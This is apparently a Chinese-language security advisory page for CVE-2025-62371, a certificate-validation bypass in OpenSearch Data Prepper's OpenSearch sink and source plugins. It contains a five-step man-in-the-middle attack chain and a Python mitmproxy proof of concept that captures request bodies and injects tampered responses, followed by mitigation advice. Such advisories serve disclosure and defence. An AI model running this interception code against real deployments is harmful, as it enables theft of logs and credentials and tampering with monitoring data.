IPBUF安全漏洞报告
English
CVE-2025-62371 CVSS 7.4 高危

CVE-2025-62371:OpenSearch Data Prepper SSL证书验证绕过漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-62371
漏洞类型
SSL证书验证绕过/中间人攻击
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenSearch Data Prepper

相关标签

SSL/TLS证书验证绕过中间人攻击OpenSearchData Prepper高危漏洞CVE-2025-62371网络安全数据安全

漏洞概述

CVE-2025-62371是OpenSearch Data Prepper中存在的一个高危SSL证书验证绕过漏洞。OpenSearch Data Prepper是OpenSearch项目的一款开源可观测性数据采集器,广泛用于日志、指标和追踪数据的收集与转发。该漏洞存在于Data Prepper的OpenSearch sink(输出)和source(输入)插件中,在版本2.12.2之前,当用户未显式配置证书路径(cert参数)时,这两个插件会自动采用"信任所有SSL证书"(trust all)的策略来建立与OpenSearch集群的安全连接。

该漏洞的CVSS 3.1评分为7.4分,属于高危级别。其攻击向量为网络(AV:N),无需任何权限(PR:N)和用户交互(UI:N),攻击复杂度较高(AC:H),但一旦成功利用,将对机密性(C:H)和完整性(I:H)造成严重影响。该漏洞使得处于网络中间位置的攻击者能够拦截并篡改客户端与OpenSearch集群之间的传输数据,可能导致敏感观测数据泄露、数据篡改以及凭证窃取等安全问题。

该漏洞已于2025年10月15日公开披露,由GitHub安全顾问团队([email protected])报告。OpenSearch项目团队已在版本2.12.2中修复了此问题,建议所有使用受影响版本的用户尽快升级以消除安全隐患。

技术细节

该漏洞的根本原因在于OpenSearch Data Prepper的OpenSearch sink和source插件在SSL/TLS连接建立过程中存在不安全的默认配置。具体而言,当用户在配置文件中未显式指定cert参数(即CA证书路径)时,插件内部的SSL上下文初始化逻辑会默认启用"trust all certificates"模式,跳过对服务端证书的验证流程。

在正常的SSL/TLS通信中,客户端应当验证服务端提供的证书链是否由受信任的CA签发,以确认通信对端的真实身份。然而,由于该漏洞的存在,Data Prepper在缺少证书配置时会接受任意自签名证书或伪造证书,这为中间人攻击(MITM)创造了条件。

利用方式如下:攻击者首先需要在客户端与OpenSearch集群之间的网络路径上部署恶意代理或执行ARP欺骗/DNS劫持等网络层攻击。当Data Prepper尝试通过HTTPS连接到OpenSearch集群时,攻击者的代理可以返回任意伪造的SSL证书。由于Data Prepper不验证证书的真实性,它会接受该伪造证书并建立加密通道,但实际通信内容将被攻击者完全控制和读取。攻击者可以窃取传输中的可观测性数据(包括可能包含的敏感信息),或者向数据流中注入恶意数据,从而污染下游分析和监控系统。

攻击链分析

STEP 1
步骤1:网络位置部署
攻击者需要在目标Data Prepper实例与OpenSearch集群之间的网络路径上获得中间人位置,可通过ARP欺骗、DNS劫持、BGP劫持或在共享网络环境中部署恶意网关等方式实现。
STEP 2
步骤2:生成伪造证书
攻击者为目标OpenSearch集群的域名生成自签名SSL证书。由于Data Prepper在未配置cert参数时接受任意证书,无需CA签发即可使用。
STEP 3
步骤3:拦截SSL连接
当Data Prepper发起到OpenSearch集群的HTTPS连接时,攻击者的MITM代理拦截该连接并返回伪造的SSL证书。由于漏洞导致证书验证被跳过,Data Prepper接受该伪造证书并完成TLS握手。
STEP 4
步骤4:数据窃取与篡改
TLS通道建立后,攻击者能够解密所有传输中的可观测性数据(可能包含敏感日志、指标和追踪信息),同时可以向数据流中注入恶意内容,污染下游的监控和分析系统。
STEP 5
步骤5:凭证窃取与持久化
如果Data Prepper配置中包含OpenSearch的管理员凭证(如username和password),攻击者还可以捕获这些认证信息,进而获得对OpenSearch集群的直接未授权访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62371 PoC - SSL Certificate Validation Bypass in OpenSearch Data Prepper # This PoC demonstrates the vulnerability where Data Prepper trusts all SSL certificates # when no certificate path is provided in the OpenSearch sink/source configuration. import ssl import socket from mitmproxy import http, options from mitmproxy.tools.dump import DumpMaster # Step 1: Create a self-signed certificate (attacker-controlled) # Generate a fake certificate that mimics the target OpenSearch cluster def generate_fake_cert(): # In a real attack scenario, the attacker would generate a certificate # for the target domain (e.g., opensearch.example.com) # Using openssl: openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes pass # Step 2: Set up a MITM proxy to intercept Data Prepper's connections class OpenSearchMITM: def __init__(self): self.captured_data = [] def request(self, flow: http.HTTPFlow) -> None: """Intercept requests from Data Prepper to OpenSearch cluster""" if "opensearch" in flow.request.pretty_host.lower(): print(f"[*] Intercepted request to: {flow.request.pretty_host}") print(f"[*] Request path: {flow.request.path}") # Capture sensitive data being sent self.captured_data.append(flow.request.content) def response(self, flow: http.HTTPFlow) -> None: """Modify responses before they reach Data Prepper""" if "opensearch" in flow.request.pretty_host.lower(): # Inject malicious data into the response print(f"[*] Modifying response from: {flow.request.pretty_host}") flow.response.content = b'{"tampered": "data injected by attacker"}' # Step 3: Configure Data Prepper WITHOUT cert parameter (vulnerable config) vulnerable_config = """ pipeline: workers: 1 delay: 100 source: http: port: 2021 sink: - opensearch: hosts: ["https://opensearch-cluster.example.com"] # NOTE: cert parameter is NOT specified # This triggers the 'trust all certificates' behavior (CVE-2025-62371) username: admin password: admin """ # Step 4: Start the MITM proxy def start_mitm_proxy(): opts = options.Options(listen_host='0.0.0.0', listen_port=8080) master = DumpMaster(opts, with_termlog=False, with_dumper=False) master.addons.add(OpenSearchMITM()) print("[*] MITM proxy started on port 8080") print("[*] Waiting for Data Prepper connections...") master.run() if __name__ == "__main__": print("=" * 60) print("CVE-2025-62371 - OpenSearch Data Prepper SSL Bypass PoC") print("=" * 60) print("Vulnerable: Data Prepper < 2.12.2") print("Attack: MITM via unvalidated SSL certificates") print("=" * 60) start_mitm_proxy()

影响范围

OpenSearch Data Prepper < 2.12.2

防御指南

临时缓解措施
在无法立即升级到2.12.2版本的情况下,用户应在OpenSearch sink和source的配置中显式添加cert参数,并指定OpenSearch集群CA证书的路径。例如,在pipeline配置中添加cert: "/path/to/ca-certificate.pem"。此外,应确保网络环境的安全性,避免在不安全的网络中使用未配置证书验证的Data Prepper实例。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表